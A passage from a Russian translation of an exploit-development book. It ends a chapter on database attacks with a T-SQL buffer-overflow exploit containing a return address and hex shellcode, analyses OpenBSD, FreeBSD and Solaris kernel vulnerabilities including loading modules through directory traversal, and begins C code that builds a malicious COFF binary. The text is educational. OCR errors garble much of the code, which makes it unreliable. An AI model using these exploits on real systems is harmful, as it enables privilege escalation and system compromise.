Итоги 367 select @cnt = @cnt + 1 end -- Замена адреса возврата select @saved_return_address = 0xDCC9B042 select @more_pad = 0x4343434344444444454545454646464647474747 -- Вызов CreateFileO Жестко закодирован адрес 0x77E86F87 для Win2K Sp2 -- Для другого уровня Service Pack его следует изменить. select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D1424505040504850 50B0C05052B8876FE877FFD0CCCCCCCCCC select ^exploit = N'SELECT * FROM OpenDataSource( "Microsoft Jet.OLEDB.4.0".''Data Source="c.V select (^exploit = ^exploit + @padding + @saved_return_address + @more_pad + @code select ^exploit = (Pexploit + N'".User ID=Admin,Password=;Extended properties=Excel 5.0'') xactions' exec (^exploit) Итоги В этой главе описаны основные принципы атак на программное обеспечение реляционных СУБД. Используются примерно те же методы, как и при атаках на любые другие программы, но с одним принципиальным отличием. Взлом сервера базы данных можно сравнить со взломом компилятора — сервер поддерживает такие гибкие средства и программные конструкции, что задача становится почти элементарной. Администраторы баз данных должны знать об этой слабости серверов и перекрыть соответствующие каналы атак. Будем надеяться, что червь Slammer был одним из последних (если не последним) червем, которому удавалось легко взять под свой контроль программное обеспечение серверов баз данных.
ГЛАВА 20 Переполнение в ядре В этой главе мы познакомимся с уязвимостями уровня ядра и принципами их надежной эксплуатации. Попутно выделяются некоторые общие проблемы различных ядер, приводящие к уязвимости, и рассматриваются практические примеры эксплуатации известных дефектов. После знакомства с разновидностями уязвимостей ядра мы перейдем к двум новым дефектам, обнаруженным в операционных системах OpenBDS и Solaris в ходе исследований, проведенных в рамках подготовки материала для этой главы. Уязвимости, о которых пойдет речь, возникают при доступе к ресурсам ОС на уровне ядра во всех версиях OpenBSD и Solaris. Доступ уровня ядра имеет серьезные последствия с точки зрения простоты повышения привилегий, и соответственно, полной несостоятельности любых механизмов поддержания безопасности на уровне ядра, таких как chroot, systrace и любых коммерческих продуктов, обеспечивающих безопасность уровня В1. Мы также исследуем упреждающую систему безопасности OpenBSD и докажем ее несостоятельность против атак уровня ядра. Типы уязвимостей ядра Существует немало функций и некорректных фрагментов кода, создающих потенциальные слабости ядра. Мы рассмотрим эти слабости, познакомимся с примерами для разных ядер и выясним, что именно следует искать в ходе анализа. В отличной статье Доусона Энглера (Dawson Engler) «Using Programmer-Written Compiler Extensions to Catch Security Holes» (www.stanford.edu/~engler/ sp- ieee-02.ps) приведены прекрасные примеры поиска уязвимостей ядра. Хотя аналитики выявили многие некорректные приемы программирования, приводящие к возникновению уязвимостей я/фа, некоторые потенциально опасные функции упускаются даже при самом жестком анализе. Переполнение стека в ядре OpenBASE относится к числу таких функций. Ядро содержит много потенциально опасных функций, являющихся источниками переполнения, по аналогии с функциями strcpy и memcpy в пользовательской области. Эти функции и различные логические ошибки можно классифицировать следующим образом: о Проблемы со знаковыми целыми числами: • buf[user_controlled_index]; • функции copyin и copyout.
Типы уязвимостей ядра 369 ^ Целочисленное переполнение: • функции malloc и free; • функции copyin и copyout; • проблемы целочисленных вычислений. :> Переполнение буфера (в стеке и куче): • функция copyin и другие похожие функции; • чтение/запись из v-узла в буфер ядра. о Переполнение форматных строк — функции log, print. о Ошибки проектирования — modload, ptrace. Рассмотрим некоторые недавно опубликованные материалы о уязвимостях уровня ядра и на реальных примерах продемонстрируем различные проблемы их эксплуатации. За основу возьмем два варианта переполнения ядра OpenBSD (описанные в журнале «Plirack» 60, статья 0x6), одну утечку информации в FreeBSD и ошибку проектирования Solaris. Переполнение буфера в стеке ядра OpenBSD sys_select(p. v, retval) register struct proc *p, void *v, register_t *retval, { register struct sys_select_args /* { syscallarg(int) nd. syscallarg(fd_set *) in, syscallarg(fd_set *) ou, syscallarg(fd_set *) ex, syscallarg(struct timeval *) tv; } */ *uap = v, fd_set bits[6], *pidbits[3]. *pobits[3], struct timeval atv. int s, ncoll. error = 0. timo, u_int ni, [1] if (SCARG(uap, nd) > p->p_fd->fd_nfiles) { SCARG(uap, nd) = p->p_fd->fd_nfiles. } [2] ni = howmany(SCARG(uap,nd), NFDBITS) * sizeof(fdjnask). [3] if (SCARG(uap, nd) > FD_SETSIZE) { [удалено] #define getbits(name, x) [4] if (SCARG(uap. name) && (error = copyin((caddr_t)SCARG(uap. name). (caddr_t)pibits[x]. m))) goto done, [5] getbitsdn. 0). getbits(ou, 1), getbits(ex, 2);
370 Глава 20. Переполнение в ядре #undef getbits [удалено] Чтобы понять смысл кода, необходимо извлечь макрос SCARG из заголовочных файлов. sys/systmh.114 #if BYTE_ORDER == BIGJNDIAN #def"ine SCARG(p, k) ((p)->k be datum) /* Получить аргумент по указателю */ #elif BYTE_ORDER == LITTLEJNDIAN #define SCARG(p, k) ((p)->k le datum) /* Получить аргумент по указателю */ sys/syscal1arg.h: строка 14 #define syscallarg(x) union { register_t pad; struct { x datum, } le, struct { int8_t pad[ (sizeof (register_t) < sizeof (x)) ? 0 : sizeof (register_t) - sizeof(x)]: x datum; } be. } Макрос SCARG() читает ноля структур struct sys_JOTX_args (где XXX — имя системной функции), содержащих данные, относящиеся к вызову системной функции. Обращение к нолям этих структур осуществляется с помощью макроса с целью выравнивания по размерам регистров процессора, чтобы доступ к памяти стал более быстрым и эффективным. Для использования макроса SCARG() система должна объявить входные аргументы в указанном далее порядке. Следующее объявление определяет структуру входных аргументов системной функции select(): sys/syscalIarg h- строка 404 struct sys_select_args { [6] syscallarg(int) nd; syscallarg(fd_set *) in. syscallarg(fd_set *) ou, syscallarg(fd_set *) ex, syscallarg(struct timeval *) tv, } Эту конкретную уязвимость можно описать как недостаточную степень проверки аргумента nd (строка [6] в приведенном примере), используемого для вычисления параметра длины. Вообще говоря, аргумент nd проверяется в строке [1] (аргумент nd равен дескриптору с наибольшим номером плюс 1 по всем значениям fd_set) — он сравнивается с p->p_fd->fd__nfiles (количеством открытых дескрипторов, принадлежащих процессу). Этой проверки недостаточно. Параметр nd объявлен как знаковый
Типы уязвимостей ядра 371 ([6]), поэтому в нем может передаваться отрицательное значение. В этом случае проверка «больше чем» ([1]) игнорируется. Позднее nd используется макросом howmanyQ ([2]) для вычисления аргумента длины ni операции copyin: #define howmany(x. у) (((х)+((у)-1))/(у)) m = ((nd + (NFDBITS-D) / NFDBITS) * sizeof(fd_mask); ni = ((nd + C2 = 1)) / 32) * 4 За вычислением ni следует другая проверка аргумента nd ([3]). Эта проверка также завершается благополучно, потому что разработчики OpenBSD постоянно забывают о знаке при проверке аргумента nd. Проверка [3] определяет, хватит ли выделенной в стеке памяти для операций copyin; если памяти недостаточно, блок необходимого размера выделяется в куче. Из-за забытого знака мы проходим проверку [3] и продолжаем использовать стек. В строках [4,5] макрос getbits() определяется и вызывается для получения пользовательских данных fd_set (readfds, writefds, exceptfds — эти массивы содержат дескрипторы, проверяемые на готовность для чтения, готовность для записи или наличие необработанного исключительного состояния). Разумеется, если аргумент nd передается в виде отрицательного целого числа, операция copyin (в getbits) перепишет части памяти ядра, что при использовании некоторых трюков, ориентированных на переполнение ядра, может привести к выполнению постороннего кода. Если объединить все сказанное, уязвимость преобразуется в следующий псевдокод: vuln_func(int user_number. char *user_buffer) { char stack_buf[1024]. if( user_number > sizeof(stack_buf) ) goto error, copym(stack_buf. user_buf, user_number). /* copyin можно рассматривать как аналог memepy на уровне ядра */ } Перезапись памяти ядра в OpenBSD sys_setitimer(p, v. retval) struct proc *p. register void *v, register_t *retval, { register struct sys_setitimer_args /* { [1] syscallarg(u_int) which. syscallarg(struct itimerval *) itv, syscallarg(struct itimerval *) oitv. } */ *uap - v. struct itimerval aitv.
372 Глава 20. Переполнение в ядре register const struct itimerval *itvp, int s. error; int timo; [2] if (SCARG(uap. which) > ITIMER_PROF) return (EINVAL), [удалено] [3] p->p_stats->p_timer[SCARG(uap, which)] = aitv; } splx(s), return @); } Данную уязвимость можно отнести к категории уязвимостей памяти ядра, обу< словленных недостаточной степенью проверки задаваемого пользователем цс лочисленного индекса, используемого для обращения к массиву структур ядра, Целочисленный индекс вышел за пределы структуры с последующей записьк! в произвольные области памяти ядра. Это стало возможным из-за сравнении знакового индекса с целым числом фиксированного размера (представляющим наибольшее допустимое значение индекса). Индекс передается в аргументе which ([1]) при вызове системной функции;] в текстовом блоке комментария (/*...*/) он ошибочно представлен как цело® без знака. На самом деле аргумент which объявляется как целое со знаком в строке 369 файла sys/syscallargs.h (для OpenBSD 3.1). Таким образом, прило-! жение пользовательского уровня может передать отрицательное значение, что приведет к обходу проверок [2]. В конечном счете ядро копирует переданную пользователем структуру в память ядра, используя аргумент which как индекс в буфере структур [3]. Тщательно рассчитанное отрицательное значение which позволит осуществить запись в структуру с данными аутентификации пользовательского процесса, что приведет к повышению уровня привилегий. Следующий псевдокод поясняет суть данной уязвимости: vuln_func(int userjndex, struct userdata *uptr) { if( userjndex > FIXEDJ.IMIT ) goto error. kbuf [userjndex] = *uptr; } Утечка информации из памяти ядра в FreeBSD int accept(td. uap) struct thread *td. struct accept_args *uap, { [1] return acceptKtd, uap. 0)),
Типы уязвимостей ядра 373 static int acceptKtd, uap. compat) struct thread *td; [2] register struct accept_args /* { i nt s. caddr_t name; int *anamelen; } */ *uap; int compat; { struct filedesc *fdp; struct file *nfp = NULL, struct sockaddr *sa. [3] int namelen, error, s, struct socket *head, *so; int fd; u_int fflag; mtx_lock(&Giant); fdp = td->td_proc->p_fd; if (uap->name) { [4] error = copyin(uap->anamelen. &namelen, sizeof (namelen)); if(error) goto done2, } [удалено] error = soaccept(so. &sa); [удалено] if (uap->name) { /* Проверить sa_len перед уничтожением */ [5] if (namelen > sa->sa_len) namelen = sa->sa_len, [удалено] [6] error = copyout(sa. uap->name, (u_int)namelen); [удалено] } Вызов системной функции accept() напрямую передается функции acceptl() ([1]) с добавлением одного дополнительного нулевого аргумента. Аргументы, переданные с пользовательского уровня, упаковываются в структуру accept_ args ([2]). Структура содержит: о целое число, представляющее сокет; о указатель на структуру sockaddr; о указатель на целое со знаком, представляющее размер структуры sockaddr. Сначала ([4]) функция acceptl() копирует размер, переданный пользователем, в переменную namelen ([3]). Здесь важно то, что переменная является знаковой и подходит для представления отрицательных чисел. Далее функция acceptl() выполняет многочисленные операции по настройке правильного состояния со- кета. Сокет переходит в состояние ожидания новых подключений. Наконец,
374 Глава 20. Переполнение в ядре функция soaccept() заполняет новую структуру sockaddr адресом ([5]), который в конечном счете будет скопирован на пользовательский уровень. Размер новой структуры sockaddr сравнивается с аргументом размера, переданным пользователем ([5]); тем самым проверяется, что размер буфера на пользовательском уровне достаточен для хранения структуры. К сожалению, нападающий может передать отрицательное значение namelen и полностью обойти эту проверку. В результате большой блок памяти ядра будет скопирован в пользовательский буфер. Обобщенная уязвимость на псевдокоде выглядит примерно так: struct userdata { int len, /* Co знаком! */ char *data; }. vuln_func(struct userdata *uptr) { struct kernel data *kptr. internal_func(kptr), /* Заполнение kptr */ if( uptr->len > kptr->len ) uptr->len = kptr->len; copyout(kptr, uptr->data, uptr->len), } Уязвимость priocntl() в Solaris /* Системная функция pnocntlO */ long priocntlsysdnt pc_version, procset_t *psp. int cmd. caddr_t arg) { [удалено] switch (cmd) { [1] case PC_GETCID [2] if (copyin(arg, (caddr_t)&pcinfo, sizeof (pcinfo))) error = [3] scheduler_load(pcinfo pc_clname. &sclass[pcinfo pc_cid]). [удалено] } int scheduler_load(char *c"lname, sdass_t *clp) { [удалено] [4] if (modloadCsched", clname) == -1) return (EINVAL). rw_enter(clp->cl_lock, RW_READER). [удалено] \
Типы уязвимостей ядра 375 Уязвимость priocntl() в Solaris является отличным примером уязвимостей, обусловленных ошибками проектирования. Не углубляясь в излишние подробности, давайте посмотрим, при каких условиях она становится возможной. Системная функция priocntl предназначена для контроля над планированием легковесных процессов (Light-Weight Process, LWP), что может означать как один из легковесных процессов основного процесса, так и сам основной процесс. Типичная установленная копия Solaris поддерживает несколько классов планирования: о реального времени; о разделения времени; о преимущественного выделения; о фиксированного приоритета. Все эти классы реализуются в виде динамически загружаемых модулей ядра. Они загружаются системной функцией priocntl, базирующейся на запросах пользовательского уровня. Эта системная функция обычно получает два аргумента с пользовательского уровня: cmd п указатель на структуру агд. Уязвимость связана со значением аргумента cmd PC_GETCID, обрабатываемым секцией case [1]. Далее переданный пользователем указатель на агд копируется в структуру, связанную с классом планирования ([2]). Скопированная структура содержит всю информацию, относящуюся к классу планирования: typedef struct pcinfo { id_t pc_cid. /* Идентификатор класса */ char pc_clname[PC_CLNMSZ]. /* Имя класса */ int pc_clinfo[PC_CLINFOSZ]: /* Информация класса */ } pcinfo_t, В этой структуре нас интересует аргумент pc_clname. Он содержит имя класса планирования, а также относительный путь к загружаемому модулю. Если мы хотим использовать класс планирования с именем myclass, системная функция prionctl просмотрит каталоги /kernel/sched/ и /usr/kernel/sched/ в поисках модуля ядра mycaU. Если модуль будет найден, функция загрузит его. Процедурой поиска и загрузки управляют функции scheduler_load ([3}) и modload ([4]). Как упоминалось ранее, путь к модулю класса планирования является относительным; он присоединяется к заранее определенному имени каталога, в котором хранятся все модули ядра. Если присоединение выполняется без проверки условий перемещения, в имя класса можно включить конструкцию ../. Используя эту уязвимость, нападающий может загружать произвольные модули ядра из разных каталогов файловой системы. Например, аргуменг pc_clname вида ../../ tmp/mymod преобразуется в строку вида /kernel/sched/../../tmp/mymod, позволяющую загрузить в память вредоносный модуль ядра. В других ядрах также был выявлен ряд интересных ошибок проектирования (ptrace, vfork и т. д.), но мы полагаем, что представленный дефект является отличным примером уязвимостей такого рода. На момент написания книги уязвимость существовала и могла эксплуатироваться во всех современных версиях операционной системы Solaris.
376 Глава 20. Переполнение в ядре Мы рекомендуем проанализировать разнее обнаруженные уязвимости ядра и попытаться преобразовать их в псевдокод. Это поможет научиться самостоятельно выявлять и эксплуатировать дефекты. Новые уязвимости ядра В этом разделе представлены некоторые уязвимости уровня ядра в основных операционных системах, существовавшие на момент написания книги. Здесь вы найдете некоторые новые приемы поиска и эксплуатации уязвимостей, которые ранее не публиковались. Переполнение в функции exec_ibcs2_coff_prep_zmagic() ядра OpenBSD Начнем с рассмотрения интерфейса, который так и не привлек к себе внимания аналитиков. int vn_rdwr(rw, vp, base, len, offset, segflg. loflg. cred. aresid, p) [1] [2] [3] [4] enum uio_rw rw; struct vnode *vp; caddr_t base; int len. offjt offset; enum uio_seg segflg int ioflg. struct ucred *cred. size_t *aresid; struct proc *p, Функция vn_rdwr() читает и записывает данные в объект, представленный виртуальным узлом (v-узлом). Виртуальный узел представляет доступ к объекту в виртуальной файловой системе, а при его создании или использовании указывается путь к файлу. Зачем рассматривать код файловой системы, если нас интересуют уязвимости ядра? Данная уязвимость основана на чтении из файла и сохранении данных в стековом буфере ядра, а также на напрасном доверии к передаваемому пользователем аргументу размера. Уязвимость не была выявлена в ходе систематических анализов, проводимых с операционной системой OpenBSD, — вероятно потому, что авторы не знали о потенциальных проблемах интерфейса vn_rdwr(). Мы рекомендуем читателям самостоятельно проанализировать API ядра и попытаться выявить новые классы уязвимостей ядра вместо того, чтобы снова и снова выискивать знакомые проблемы функций copyin и malloc. Функция vn_rdwr() имеет четыре аргумента, о которых нам необходимо знать; на остальные можно просто не обращать внимания. Первый аргумент, перечисление rw, представляет режим выполнения операции. В зависимости от его значения функция осуществляет чтение (или запись) с v-узлом. Затем следует указатель vp на v-узел файла, с которым выполняется чтение или запись. Тре-
Новые уязвимости ядра 377 тий аргумент, базовый указатель, ссылается на буфер в памяти ядра (стек, куча и т. д.). Наконец, целочисленный аргумент len определяет размер хранилища данных, на которое указывает аргумент base. Если аргумент rw равен UI0_READ, функция vn_rdwr читает len байтов из файла и сохраняет их в буфере ядра base. При rw=UIO_WRITE функция записывает len байт в файл из буфера в памяти ядра base. Естественно, операция UI0_READ часто является источником переполнения, потому что она по своей природе аналогична операции copyinQ. С другой стороны, операция UI0_WRITE сопряжена с утечкой информации, характерной для copyout(). Как всегда, после идентификации потенциальной проблемы и выявления нового класса дефектов безопасности уровня ядра следует воспользоваться утилитой Cscope для просмотра всего дерева исходных текстов ядра. Если же исходные тексты недоступны, следует перейти к проведению анализа на двоичном уровне с применением IDA Pro. После непродолжительного анализа функции vn_rdwr в ядре OpenBSD мы нашли забавный дефект ядра, существовавший во всех версиях OpenBSD на момент написания книги. Чтобы избавиться от него, необходимо перекомпилировать ядро с исключением некоторых функций совместимости. На практике большинство администраторов оставляет функции совместимости включенными даже при самостоятельной компиляции ядра. Уязвимость Уязвимость находится в функции exec_ibcs2_coff_prep_zmagic(). Естественно, для понимания ее сути необходимо сначала познакомиться с кодом. int exec_ibcs2_coff_prep_zmagic(p. epp. fp. ар) struct proc *p. struct exec_package *epp; struct coff_filehdr *fp. struct coff_aouthdr *ap, { int error; ujong offset. long dsize, baddr, bsize, [1] struct coff_scnhdr sh, /* Подготовка команды для сегмента text */ [2а] error = coff_find_section(p, epp->ep_vp. fp, &sh, COFF_STYP_TEXT). [удалено] NEW_VMCMD(&epp->ep_vmcmds, vmcmd_map_readvn epp->ep_taddr, epp->ep_vp, offset VM_PROT_READ|VM_PROT_EXECUTE). /* Подготовка команды для сегмента data */ [2b] error = coff_find_section(p. epp->ep_vp. fp COFF_STYP_DATA); [удалено] NEW_VMCMD(&epp->ep_vmcmds. vmcmd_map_readvn, dsize, epp->ep_daddr, epp->ep_vp. offset. epp->ep_tsize. &sh.
378 Глава 20. Переполнение в ядре VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE); /* Подготовка команды для сегмента bss */ [удалено] /* Загрузить любые общие библиотеки */ [2с] error = coff_find_section(p, epp->ep_vp, fp, &sh. COFF_STYP_SHLIB). if (lerror) { size_t resid, struct coff_slhdr *slhdr; [3] char buf[128]. *bufp; /* FIXME */ [4] int len = sh s_size, path_index, entryjen; /* DPRINTF(("COFF shlib size *d offset *d\n\ sh.s_size, sh.s_scnptr)); */ [5] error = vn_rdwr(UIO_READ, epp->ep_vp. (caddr_t) buf, len. sh s_scnptr, UIO_SYSSPACE. IOJODELOCKED. p->p_ucred, &resid, p). Функция exec_ibcs2_coff_prep_zmagic() отвечает за создание среды выполнения двоичных файлов типа COFF ZMAGIC. Она вызывается функцией exec_ibcs2_ cdff_makecdms, которая проверяет, является ли заданный файл исполняемым модулем в формате COFF. Кроме того, функция проверяет «волшебное число», в дальнейшем используемое для идентификации конкретного обработчика, ответственного за подготовку виртуальной памяти для процесса. В двоичных модулях типа ZMAGIC этим обработчиком является функция exec__ibcs2_coff_prep_ zmagic(). Стоит напомнить, что точкой входа, через которую в конечном счете достигаются эти функции, является системная функция execve, поддерживающая и эмулирующая различные типы исполняемых форматов (ELF, COFF и специализированные форматы операционных систем семейства Unix). Для вызова функции exec_ibcs2_coff_prep_zmagic() требуется исполняемый файл в формате COFF (подтип ZMAGIC). Далее мы создадим такой файл и внедрим вектор переполнения во вредоносный двоичный файл. Впрочем, не будем забегать вперед и сначала разберемся в сути уязвимости. Путь программы к уязвимости выглядит так. Пользовательский режим: 0х32а54 <execve> mov $0хЗЬДеах 0х32а59 <execve+5> int $0x80 I I V Режим ядра: [ ] int sys_execve(p. v. retval) register struct proc *p. void *v. register_t *retval. { [удалено]
Новые уязвимости ядра 379 if ((error = check_exec(p, &раск)) != 0) { goto freehdr, } [удалено] } В массиве execsw хранятся структуры execsw, представляющие различные типы исполняемых модулей. Функция check_exec() перебирает элементы массива и вызывает функции, ответственные за идентификацию некоторых исполняемых форматов. В указатель на функцию es_check заносится адрес проверочного модуля для каждого обработчика исполняемого формата. struct execsw { u_int esjidrsz; /* Размер заголовка для данного формата */ exec_makecmds_fcn es_check. /* Функция проверки формата */ Ь struct execsw execsw[] = { [удалено] #ifdef _KERN_DO_ELF {sizeof(Elf32_Ehdr). exec_elf32_makecmds. }. /* Формат elf */ #endif [удалено] #i fdef C0MPATJBCS2 { COFF_HDR_SIZE. exec_ibcs2_coff_makecmds. }. /* Формат coff */ #endif [удалено] check_exec(p. epp) struct proc *p, struct exec_package *epp; { [удалено] newerror = (*execsw[i] es_check)(p. epp). Внимательно разберитесь в том, что происходит в этом коде. Формат COFF идентифицируется элементом C0MPAT_IBCS2 структуры execsw, и заданная функция (es_check = exec_ibcs2_coff_makecmds) в конечном итоге передает управление для исполняемых модулей типа ZMAGIC exec_ibcs2_coff_prer_zmagic(). } V int exec_ibcs2_coff_makecmds(p, epp) struct proc *p, struct exec package *epp. { [удалено] if (COFF_BADMAG(fp)) return ENOEXEC. Макрос проверяет, имеет ли исполняемый модуль формат COFF, и если имеет — выполнение продолжается. [удалено] switch (ap->ajnagic) { [удалено]
380 Глава 20. Переполнение в ядре case COFF_ZMAGIC. error = exec_ibcs2_coff_prep_zmagic(p, epp, fp, ap). break; [удалено] } V int exec_ibcs2_coff_prep zmagic(p. epp, fp, ap) struct proc *p, struct exec_package *epp; struct coff_filehdr *fp; struct coff_aouthdr *ap, Давайте разберем эту функцию и попытаемся понять, как лее в конечном счете возникает переполнение буфера в стеке. В точке [1] структура coff_scnhdr определяет информацию, описывающую секцию исполняемого модуля COFF (за/о* ловок секции)] эта структура заполняется функцией coff_find_section() ([2a], [2b], [2с]) в зависимости от типа секции. В двоичных файлах COFF ZMAGIC выделяются заголовки секций COFF_STYP_TEXT (.text), COFF_STYP_DATA (.data) и C0FF_ STYP_SHLIB (общие библиотеки). Во время выполнения несколько раз вызывается функция coff_find_section(). Структура coff_scnhdr заполняется данными заголовка секции из двоичного модуля, и данные секции отображаются в виртуальное адресное пространство процесса макросом NEW_VMCMD. Затем заголовок, относящийся к секции сегмента .text, читается в sh (coff_scnhdr) ([2а]). После нескольких предварительных проверок и вычислений макрос NEW_VMCMD выполняет фактическое отображение секции на память. Для сегмента .data ([2b]) создается новая область памяти. На третьем этапе читается заголовок секции ([2с]) с информацией обо всех скомпонованных общих библиотеках, после чего библиотеки последовательно отображаются на адресное пространство исполняемого модуля. После того как заголовок секции .shlib будет полностью прочитан, данные секции читаются из v-узла исполняемого модуля. Далее функция vn_rdwr() вызывается с размером, полученным из заголовка секции ([4]), для статического буфера в стеке, размер которого составляет всего 128 байт ([4]). В результате может произойти типичное переполнение буфера. Фактически здесь выполняется чтение в статический буфер в стеке на основании заданного пользователем размера и из пользовательских данных. Поскольку мы можем сконструировать фиктивный заголовок секции COFF со всеми необходимыми заголовками секций, и самое главное — с заголовком секции a.shlib, становится возможным переполнение буфера. Если задать иоле размера больше 128 байт, это приведет к переполнению стека OpenBSD и выполнению пользовательского кода в кольце 0 (режим ядра). Помните, ранее этот дефект был назван «забавным»? Посмотрите внимательнее на строку [3], в которой объявляется локальный буфер ядра char buf[128]: /* FIXME */ Шутка не ахти, но все равно забавно. Надеемся, разработчики OpenBSD все-таки сделают то, что они собирались сделать давным-давно. В следующем разделе мы перейдем к рассмотрению уязвимости в операционной системе с закрытыми исходными текстами. Также в нем будут гтродемонст-
Новые уязвимости ядра 381 рированы некоторые общие приемы эксплуатации уязвимостей ядра и написания внедряемого кода. Уязвимость перебора загружаемых модулей ядра vfs_getvfssw() в Solaris Как и прежде, мы начнем с рассмотрения уязвимого кода. Сначала попытаемся разобраться, что же происходит, а затем перейдем к подробному анализу уязвимости. struct vfssw * vfs_getvfssw(char *type) struct vffsw *vswp; char *modname; int rval, RLOCKJFSSWO; if ((vswp = vfs_getvfsswbyname(type)) == NULL) { RUNLOCKJFSSWO. WLOCKJFSSWO. if ((vswp = cfs_getvfsswbyname(type)) == NULL) { [1] if ((vswp = allocate vfssw(type)) == NULL) { WUNL0CK_VFS5W(). return (NULL). WUNLOCKJFSSWO. RLOCKJFSSWO. } [2] modname = vfs_to_modname(type), while (!VFS_INSTALLED(vswp)) { RUNLOCKJFSSWO: if (rootdir != NULL) [3] rval = modloadCfs", modname). [удалено] } В операционной системе Solaris большая часть функциональности ядра (в том числе и поддержка различных файловых систем) реализуется в виде динамических модулей ядра, загружаемых по мере необходимости. Получив запрос на сервис файловой системы, который не был ранее загружен в пространство ядра, ядро ищет соответствующий динамический модуль файловой системы. Модуль загружается из одного из каталогов модулей и обрабатывает запрос. Эта конкретная уязвимость, как и уязвимость priocntl, заставляет операционную систему загрузить предоставленный пользователем модуль ядра (в данном примере — модуль, представляющий файловую систему) и тем самым получить максимальные привилегии для выполнения кода на уровне ядра. Ядро Solaris хранит данные о загруженных файловых системах в специальной таблице. Фактически таблица представляет собой массив структур vfssw_t: typedef struct vfssw { char *vsw_name, /* Имя типа файловой системы */ int (*vsw imtKstruct vfssw *. int).
382 Глава 20. Переполнение в ядре /* Функция инициализации */ struct vfsops *vsw_vfsops, /* Вектор операций файловой системы */ int vsw_flag. /* Флаги */ } vfssw_t; Функция vfs_getfssw() перебирает содержимое массива vfssw[] в поисках :ш**\ мента с подходящим значением vsw_name (определяемым символьной строкой type, переданной функции). Если подходящий элемент не найден, функции vfs_getvfssw() выделяет память под новую запись в массиве vfssw[] ([1]) и вызывает функцию преобразования ([2]), которая ограничивается разбором аргумента type для некоторых строк. К эксплуатации уязвимости этот режим работы не относится. Наконец, функция производит автозагрузку файловой системы вызовом функции modload ([3]). В процессе анализа ядра мы обнаружили, что две системных функции Solaris вызывают функцию vfs_getfssw() со значением type, переданным пользователем, Значение преобразуется в имя модуля, загружаемое из каталога /kernel/fs/ или /usr/kernel/fs/. Как и в предыдущем случае, интерфейс modload атакуется простыми переходами по каталогам, что дает нападающему возможность выполнения кода в релшме ядра. Так, в процессе анализа в системных функциях mount и sysfs мы выявили уязвимость, которую можно успешно эксплуатировать (о том, как это делается, рассказано в главе 21). Рассмотрим два возможных пути вызова vfs_getvfssw() с входными данными, контролируемыми пользователем. Системная функция sysfs() Первый путь вызова vfs_getvfssw() с данными, предоставленными пользователем, основан на вызове системной функции sysfs(): int sysfsdnt opcode, long al. long a2) { int error, switch (opcode) { case GETFSIND error = sysfsind((char *)al). [удалено] V static int sysfsind(char *fsname) { /* * Преобразование идентификатора fs в индекс структуры vfssw. */ struct vfssw *vswp. char fsbuf[FSTYPSZ]. int retval; size_t len = 0. retval = copyinstr(fsname fsbuf, FSTYPSZ. &len), [удалено]
Итоги 383 /* * Найти в таблице vfssw идентификатор fs * и вернуть его индекс. */ if ((vswp = vfs_getvfssw(fsbuf)) != NULL) { [удалено] Системная функция mount() Системная функция mount() открывает другой путь к вызову функции vfs. getvfssw() с данными, предоставленными пользователем: int mount(char *spec. char *dir. int flags. char *fstype. char *dataptr. int datalen) { [удалено] ua spec = spec, ua dir = dir. ua flags = flags: ua fstype = fstype. ua dataptr = dataptr. ua datalen = datalen. [удалено] error = domount(NULL. &ua.vp, CREDO. &vfsp); [удалено] V int domount(char *fsname, struct mounta *uap. vnode__t *vp, struct cred *credp. struct vfs ((vfspp) { [удалено] error = copyinstr(uap->fstype, name. FSTYPSZ. &n): [удалено] if ((vswp = vfs getvfssw(name)) == NULL) { vn_vfsunTock(vp). [удалено] } Честно говоря, мы не проверили все интерфейсы ядра, использующие функцию vfs_getvfssw(), но, скорее всего, других возможностей эксплуатации уязвимости нет. Впрочем, попробуйте проанализировать проблемы, связанные с modload(); возможно, вам удастся найти другие уязвимые интерфейсы. Итоги В этой главе представлены методы поиска новых уязвимостей в двух операционных системах, OpenBSD и Solans. Тема уязвимостей ядра /юстаточпо сложна, поэтому методы их эксплуатации рассматриваются в отдельной главе. Переходите к ней только тогда, когда вы будете в полной мере понимать концепции, описанные в этой главе, и хорошо разберетесь в представленных здесь уязвимостях
ГЛАВА 21 Эксплуатация уязвимостей ядра В главе 20 были подробно описаны две серьезные уязвимости ядра. В этой главе мы займемся их практической эксплуатацией. Главной проблемой при эксплуатации уязвимостей (и прежде всего уязвимостей ядра) является их достижимость. Начнем с уязвимости ядра OpenBSD. Уязвимость execjbcs2_coff_prep_zmagic() Чтобы получить доступ к уязвимости exec_ibcs2_coff_prep_zmagic(), необходимо разработать наименьший возможный двоичный COFF-файл. В этом разделе» речь пойдет о том, как это сделать. Мы познакомимся с некоторыми COFF-структурами, заполним их необходимыми данными и сохраним в фиктивном COFF-файле. Для получения уязвимого кода файл должен содержать некоторые заголовки, в том числе заголовок файла, заголовок aout и заголовки секций. Если хотя бы одна из перечисленных секций будет отсутствовать, предшествующие функции обработки формата COFF вернут код ошибки, и мы никогда не достигнем уязвимой функции vn_rdwr. Минимальная структура фиктивного исполняемого COFF-файла выглядит так: Заголовок Заголовок Заголовок Заголовок Заголовок файла aout секции секции секции ( ( ( text) data) shlib) Следующая программа создает фиктивный исполняемый COFF-модуль, достаточный для передачи управления посредством замены адреса возврата. Об эксплуатации уязвимости рассказано далее, а здесь займемся созданием исполняемого файла в формате COFF:
Уязвимость exec_ibcs2_coff_prep_zmagic() 385 obsd exl.c /** Создание фиктивного исполняемого COFF-модуля с большой секцией shlib **/ #-mclude #include #include #include #include #include #include <stdio h> <sys/types h> <fcntl.h> <unistd h> <sys/param h> <sys/sysctl h> <sys/signal h> unsigned char shellcode[] = "\xcc\xcc". /* Пока только int3 (отладочное прерывание) */ #define ZERO(p) memset(&p. 0x00, sizeof(p)) /* /* Волшебное число */ /* Количество секций */ /* Временная метка */ /* Смещение таблицы символов */ /* Число записей в таблице символов */ /* Размер необязательного заголовка */ /* Флаги */ * Заголовок файла C0FF */ struct coff_filehdr { u_short u short long long long u_short u short }. /* f magic */ #define COFF_ /* f flags */ #define COFF #define COFF" #define COFF" #defme COFF" #define COFF" #define COFF" #define COFF] /* * Системный */ f_magic. fjiscns, f_timdat, f_symptr, f_nsyms, f opthdr; f_flags; i MAGICJ386 0x14c i F RELFLG 0x1 "F EXEC 0x2 "F LNNO 0x4 "F LSYMS 0x8 "F SWABD 0x40 "F AR16WR 0x80 J_AR32WR 0x100 заголовок COFF struct coff_aouthdr { short short long long long long long ajnagic, a_vstamp, a_tsize, a_dsize, a_bsize. a_entry, a_tstart.
